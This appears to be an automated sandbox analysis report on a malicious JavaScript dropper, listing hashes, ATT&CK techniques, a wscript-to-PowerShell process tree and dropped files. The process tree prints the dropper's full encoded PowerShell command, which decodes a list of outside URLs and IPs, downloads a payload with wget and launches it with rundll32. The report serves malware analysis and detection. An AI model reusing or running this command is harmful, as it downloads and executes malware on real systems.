1db86833e91513491be58d515dd731f63a7d376822a69cba57f8df60f1faac71

General

Target

Rqlk.js
Size

104KB
MD5

4de934c274cbdeea6df3e17fb1f661d8
SHA1

94a43cfbf577549e062cafa3aa99bd416a805e48
SHA256

1db86833e91513491be58d515dd731f63a7d376822a69cba57f8df60f1faac71
SHA512

af6c39771ee1b12db374ac8452fab7d5f87d3c6b63151fbdc8dc5c7a49d8042f6179dd6bf3e2cefb5f0b8c8866852b0b2bc11e2b6f4b82f055822ce7cdadab66
SSDEEP

1536:pz37fOUO1d5OTII/n/0ZKCgoB35B974tzq7KfehaBzG:xfiC/n/0ZKa5wtzq7Zht

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
122	4828	powershell.exe
123	4828	powershell.exe
124	4828	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4828	powershell.exe
4828	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4828	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4660 wrote to memory of 220	4660	wscript.exe	87
PID 4660 wrote to memory of 220	4660	wscript.exe	87
PID 220 wrote to memory of 4828	220	wscript.exe	88
PID 220 wrote to memory of 4828	220	wscript.exe	88

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Rqlk.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4660
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\ProgramData\stratigrapher.js" Pythonomorphous EpiphloedicPedigree
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "$ a z o t i s e s N o r t h e r l i e s   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D k A M g A u A D E A N w A w A C 4 A M g A 0 A D I A L g A y A D M A M g A = X W Z o a A B 0 A H Q A c A A 6 A C 8 A L w B s A G E A Y w B 0 A G 8 A Z g B s A G E A d g B p A G 4 A L g B 1 A G 4 A a Q B 2 A G U A c g B z A G k A d A B 5 A A = = X W Z o a A B 0 A H Q A c A B z A D o A L w A v A D g A O A A u A D c A M Q A u A D E A M A A 2 A C 4 A N Q A 0 A A = = X W Z o a A B 0 A H Q A c A A 6 A C 8 A L w A x A D Q A M w A u A D U A M A A u A D E A M g A y A C 4 A N A A y A A = = " ; S t a r t - S l e e p   - S e c o n d s   1 1 ; $ w e l l i n g t o n   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B j A G 8 A b A B s A G k A Z Q A u A H U A a w A = " ; $ S c a g l i o l a I l l u m e s   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D c A N g A u A D E A M g A 0 A C 4 A M Q A 5 A D g A L g A y A D E A M g A v A H M A M A B B A C 8 A Z A A z A E c A N A B E A D g A S w B G A A = = d m M a A B 0 A H Q A c A A 6 A C 8 A L w A x A D c A N g A u A D E A M g A 0 A C 4 A M Q A 5 A D g A L g A y A D E A M w A v A E Y A c w A 4 A F A A e Q A v A E M A d A B Y A G Y A d g B U A A = = d m M a A B 0 A H Q A c A A 6 A C 8 A L w A x A D A A O Q A u A D E A N w A y A C 4 A N A A 1 A C 4 A N w A 5 A C 8 A U A B s A E w A N A B t A F U A L w B 3 A E 8 A R A B j A D Y A Q w B y A E 8 A " ; f o r e a c h   ( $ c r o z e r   i n   $ S c a g l i o l a I l l u m e s   - s p l i t   " d m M " )   { $ p r e d e s i g n a t e d   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B T A H Q A c g B 1 A H Q A d A B l A G Q A V A B h A G 4 A b g B p A G 4 A b A B p A G s A Z Q A u A G Q A Y Q B 0 A G U A " ; $ E x t r a c a n o n i c a l   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B v A H U A d A B j A G E A c w B 0 A F A A d Q B y A G k A Z g B p A G U A c g B z A C 4 A Z g B p A G 4 A Y Q B u A G M A a Q B h A G w A w w a A B 0 A H Q A c A B z A D o A L w A v A G s A b g B p A G M A a w B r A G 4 A Y Q B j A G s A c w A u A H Q A Y Q B 0 A H Q A b w B v A A = = w w a A B 0 A H Q A c A A 6 A C 8 A L w A y A D A A M Q A u A D Y A M g A u A D E A M w A 1 A C 4 A M g A x A D I A " ; t r y   { $ A n o s p h r e s i a T h a l a m i f l o r a l   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D U A N A A u A D E A N A A y A C 4 A O Q A y A C 4 A N g A 1 A A = = y d a A B 0 A H Q A c A A 6 A C 8 A L w A 3 A D A A L g A x A D Q A N w A u A D g A N Q A u A D g A N A A = y d a A B 0 A H Q A c A A 6 A C 8 A L w B E A G E A b g B k A H k A a Q B z A G g A b A B 5 A C 4 A b w B y A A = = y d a A B 0 A H Q A c A B z A D o A L w A v A F c A Z Q B l A H A A a Q B u A G c A b A B 5 A C 4 A Y w B h A G 0 A Z Q B y A G E A " ; $ s c r a i l y   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D A A O A A u A D E A N w A 4 A C 4 A O Q A 1 A C 4 A N A A 0 A A = = " ; $ c l u m p i e r   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D g A M g A u A D E A O Q A y A C 4 A M Q A w A D c A L g A x A D k A M g A = T a A B 0 A H Q A c A B z A D o A L w A v A H M A a A B y A G U A d w B p A H M A a A B u A G U A c w B z A E 4 A b w B u A G U A b g B p A G c A b Q B h A H Q A a Q B j A G E A b A B s A H k A L g B t A G U A Z A B p A G E A " ; $ e p i c e d i u m N o g a d a   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ c r o z e r ) ) ; w g e t   $ e p i c e d i u m N o g a d a   - O   $ e n v : P r o g r a m D a t a \ F a n t e e I n d w e l l e r . A d e n o m e t r i t i s ; $ u r o l i t h i a s i s A g y r o p h o b i a   =   " a A B 0 A H Q A c A B z A D o A L w A v A F M A Y Q B r A H k A Y Q B t A H U A b g B p A E 0 A Z Q B j A G g A Y Q B u A G 8 A d A B o A G U A c g B h A H A A Z Q B 1 A H Q A a Q B j A C 4 A Z w B v A G w A Z A A = I a A B 0 A H Q A c A A 6 A C 8 A L w A y A D I A O Q A u A D g A N A A u A D E A N A A x A C 4 A O Q A 5 A A = = I a A B 0 A H Q A c A A 6 A C 8 A L w B h A G 4 A Y Q B s A H k A d A B p A G M A c w B Q A H I A Z Q B p A G 0 A Y Q B n A G k A b g B l A G Q A L g B 2 A G k A Y Q B q A G U A c w A = I a A B 0 A H Q A c A B z A D o A L w A v A E g A Z Q B k A G U A c g B h A H Q A Z Q B k A C 4 A Y w B h A H M A a A A = " ; $ F i d e l e s   =   " a A B 0 A H Q A c A B z A D o A L w A v A G 4 A d Q B s A G w A a Q B m A G k A Z A B p A G E A b g B p A H M A b Q B V A H Q A Z Q B y A G 8 A c A B l A H I A a Q B 0 A G 8 A b g B l A G E A b A A u A G Y A a Q B 0 A G 4 A Z Q B z A H M A " ; i f   ( ( G e t - I t e m   - P a t h   $ e n v : P r o g r a m D a t a \ F a n t e e I n d w e l l e r . A d e n o m e t r i t i s ) . L e n g t h   - g e   2 8 8 0 6 5 ) { p o w e r s h e l l   - e n c o d e d c o m m a n d   " c w B 0 A G E A c g B 0 A C A A c g B 1 A G 4 A Z A B s A G w A M w A y A C A A J A B l A G 4 A d g A 6 A F A A c g B v A G c A c g B h A G 0 A R A B h A H Q A Y Q B c A E Y A Y Q B u A H Q A Z Q B l A E k A b g B k A H c A Z Q B s A G w A Z Q B y A C 4 A Q Q B k A G U A b g B v A G 0 A Z Q B 0 A H I A a Q B 0 A G k A c w A s A H Y A a Q B w A H M A O w B z A G w A Y Q B j A G s A L g B j A G 8 A b Q A = " ; $ F e l u c c a P i n p r i c k   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A 1 A D I A L g A x A D g A M w A u A D U A M A A u A D E A N w A 2 A A = = " ; b r e a k ; } }   c a t c h   { $ N o n s u p p l e m e n t a l l y R o b u s t n e s s   =   " a A B 0 A H Q A c A B z A D o A L w A v A H Y A Z Q B z A G k A Y w B 1 A G w A Y Q B 0 A G k A b g B n A F U A b g B h A G I A c g B h A G Q A Z Q B k A C 4 A Y Q B t A H M A d A B l A H I A Z A B h A G 0 A V a A B 0 A H Q A c A A 6 A C 8 A L w B E A H U A d g B l A H Q A e Q B u A G U A L g B z A G g A b w B l A H M A V a A B 0 A H Q A c A A 6 A C 8 A L w A y A D U A M g A u A D E A N w A z A C 4 A N A A y A C 4 A M Q A z A D I A V a A B 0 A H Q A c A A 6 A C 8 A L w A 1 A D Y A L g A y A D A A M A A u A D Q A N A A u A D I A N A A z A A = = " ; } } $ A t h a n a s y U n c o n d i t i o n a t e   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B u A G 8 A b g B j A G g A Z Q B t A G k A Y w B h A G w A V A B l A G 4 A d A B 1 A H I A Z Q A u A H Q A Y Q B 0 A H Q A b w B v A A = = " ; "
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\stratigrapher.js

Filesize
104KB

MD5
4de934c274cbdeea6df3e17fb1f661d8

SHA1
94a43cfbf577549e062cafa3aa99bd416a805e48

SHA256
1db86833e91513491be58d515dd731f63a7d376822a69cba57f8df60f1faac71

SHA512
af6c39771ee1b12db374ac8452fab7d5f87d3c6b63151fbdc8dc5c7a49d8042f6179dd6bf3e2cefb5f0b8c8866852b0b2bc11e2b6f4b82f055822ce7cdadab66

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pkyohcol.cty.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4828-141-0x00000251B2FE0000-0x00000251B3002000-memory.dmp

Filesize
136KB

Download
memory/4828-145-0x00000251B3030000-0x00000251B3040000-memory.dmp

Filesize
64KB

Download
memory/4828-146-0x00000251B3030000-0x00000251B3040000-memory.dmp

Filesize
64KB

Download
memory/4828-147-0x00000251B3030000-0x00000251B3040000-memory.dmp

Filesize
64KB

Download
memory/4828-148-0x00000251B3030000-0x00000251B3040000-memory.dmp

Filesize
64KB

Download
memory/4828-149-0x00000251B3030000-0x00000251B3040000-memory.dmp

Filesize
64KB

Download
memory/4828-150-0x00000251B3030000-0x00000251B3040000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing